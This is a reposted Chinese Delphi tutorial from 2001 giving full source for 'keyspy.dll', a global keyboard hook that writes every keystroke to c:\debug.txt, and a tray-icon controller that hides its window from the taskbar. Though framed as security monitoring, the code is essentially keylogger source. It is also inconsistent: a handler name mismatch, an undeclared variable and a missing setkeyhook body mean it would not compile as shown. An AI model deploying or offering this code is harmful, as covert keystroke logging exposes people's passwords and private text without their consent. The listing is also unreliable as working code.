关于超想
本站导航
邮件列表
  首页 | 本站产品 | Delphi资料 | 免费资源 | 程序人生 | 软件工程 | 网站设计 | 推荐网站
你所在的位置 -> 主页 -> 超想软件 -> 编程资料 -> delphi -> 开发技巧 -> 不可视类的使用 ->详细
相关内容  
 
 
在Delphi程序中应用IE浏览器控件
 
【新品推荐】

  详细内容
 

利用Hook技术实现键盘监控
作者: 乌鲁木齐军医学院 卢立建 评价: 上站日期: 2001-09-05
内容说明:
来源:

---- 在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中的具体实现分别对这两部分进行详细论述。 

一、Hook(钩子)的实现: 

---- Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。 

---- 1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。代码如下: 

library keyspy; 
uses 
windows, messages, hookproc in 'hookproc.pas'; 
exports 
setkeyhook, 
endkeyhook; 
begin 
nexthookproc:=0; 
procsaveexit:=exitproc; 
exitproc:=@keyhookexit; 
end. 

2.在Hookproc.pas中实现了钩子具体过程: 
unit hookproc; 
interface 
uses 
Windows, Messages, SysUtils, Controls, StdCtrls; 
var 
nexthookproc:hhook; 
procsaveexit:pointer; 
function keyboardhook(icode:integer;wparam:wparam; 
lparam:lparam):lresult;stdcall;export; 
function setkeyhook:bool;export;//加载钩子 
function endkeyhook:bool;export;//卸载钩子 
procedure keyhookexit;far; 
const 
afilename='c:\debug.txt';//将键盘输入动作写入文件中 
var 
debugfile:textfile; 
implementation 
function keyboardhookhandler(icode:integer;wparam:wparam; 
lparam:lparam):lresult;stdcall;export; 
begin 
if icode< 0 then 
begin 
result:=callnexthookex(hnexthookproc,icode,wparam,lparam); 
exit; 
end; 
assignfile(debugfile,afilename); 
append(debugfile); 
if getkeystate(vk_return)< 0 then 
begin 
writeln(debugfile,''); 
write(debugfile,char(wparam)); 
end 
else 
write(debugfile,char(wparam)); 
closefile(debugfile); 
result:=0; 
end; 
function endkeyhook:bool;export; 
begin 
if nexthookproc< > 0 then begin 
unhookwindowshookex(nexthookproc); 
nexthookproc:=0; 
messagebeep(0); end; 
result:=hnexthookproc=0; 
end; 
procedure keyhookexit;far; 
begin 
if nexthookproc< > 0 then endkeyhook; 
exitproc:=procsaveexit; end; 
end. 

---- 二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。 

unit kb; 
interface 
uses 
Windows, Messages, SysUtils, Classes, 
Graphics, Controls, Forms, 
Dialogs, 
StdCtrls, Menus,shellapi; 
const 
icon_id=1; 
MI_iconevent=wm_user+1;//定义一个用户消息 
type 
TForm1 = class(TForm) 
PopupMenu1: TPopupMenu; 
sethook1: TMenuItem; 
endhook1: TMenuItem; 
N1: TMenuItem; 
About1: TMenuItem; 
Close1: TMenuItem; 
Gettext1: TMenuItem; 
procedure FormCreate(Sender: TObject); 
procedure sethook1Click(Sender: TObject); 
procedure endhook1Click(Sender: TObject); 
procedure FormDestroy(Sender: TObject); 
procedure Close1Click(Sender: TObject); 
private 
{ Private declarations } 
nid:tnotifyicondata; 
normalicon:ticon; 
public 
{ Public declarations } 
procedure icontray(var msg:tmessage); 
message mi_iconevent; 
end; 
var 
Form1: TForm1; 
implementation 
{$R *.DFM} 
function setkeyhook:bool;external 'keyspy.dll'; 
function endkeyhook:bool;external 'keyspy.dll'; 

procedure tform1.icontray(var msg:tmessage); 
var 
pt:tpoint; 
begin 
if msg.lparam=wm_lbuttondown then 
sethook1click(self); 
if msg.LParam=wm_rbuttondown then 
begin 
getcursorpos(pt); 
setforegroundwindow(handle); 
popupmenu1.popup(pt.x,pt.y); 
end; 
end; 

procedure TForm1.FormCreate(Sender: TObject); 
begin 
normalicon:=ticon.create; 
application.title:=caption; 
nid.cbsize:=sizeof(nid); 
nid.wnd:=handle; 
nid.uid:=icon_id; 
nid.uflags:=nif_icon or nif_message or nif_tip; 
nid.ucallbackmessage:=mi_iconevent; 
nid.hIcon :=normalicon.handle; 
strcopy(nid.sztip,pchar(caption)); 
nid.uFlags:=nif_message or nif_icon or nif_tip; 
shell_notifyicon(nim_add,@nid); 
SetWindowLong(Application.Handle, 
GWL_EXSTYLE,WS_EX_TOOLWINDOW); 
end; 

procedure TForm1.sethook1Click(Sender: TObject); 
begin 
setkeyhook; 
end; 

procedure TForm1.endhook1Click(Sender: TObject); 
begin 
endkeyhook; 
end; 

procedure TForm1.FormDestroy(Sender: TObject); 
begin 
nid.uFlags :=0; 
shell_notifyicon(nim_delete,@nid); 
end; 

procedure TForm1.Close1Click(Sender: TObject); 
begin 
application.terminate; 
end; 

---- 该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容,我相信这篇文章能对许多Delphi的初学者有所帮助。 
---- 该程序在Win98、Delphi4.0中正常运行。 

 

 
你所在的位置 -> 主页 -> 超想软件 -> 编程资料 -> delphi -> 开发技巧 -> 不可视类的使用 ->详细
  首页 | 本站产品 | Delphi资料 | 免费资源 | 程序人生 | 软件工程 | 网站设计 | 推荐网站
声明:本站内容除注明原创以外均从网上摘抄,如有侵权请指明。
  如果您对我们的网站有什么意见或者建议,请与我们联系
powered by 建站易上手- V2.0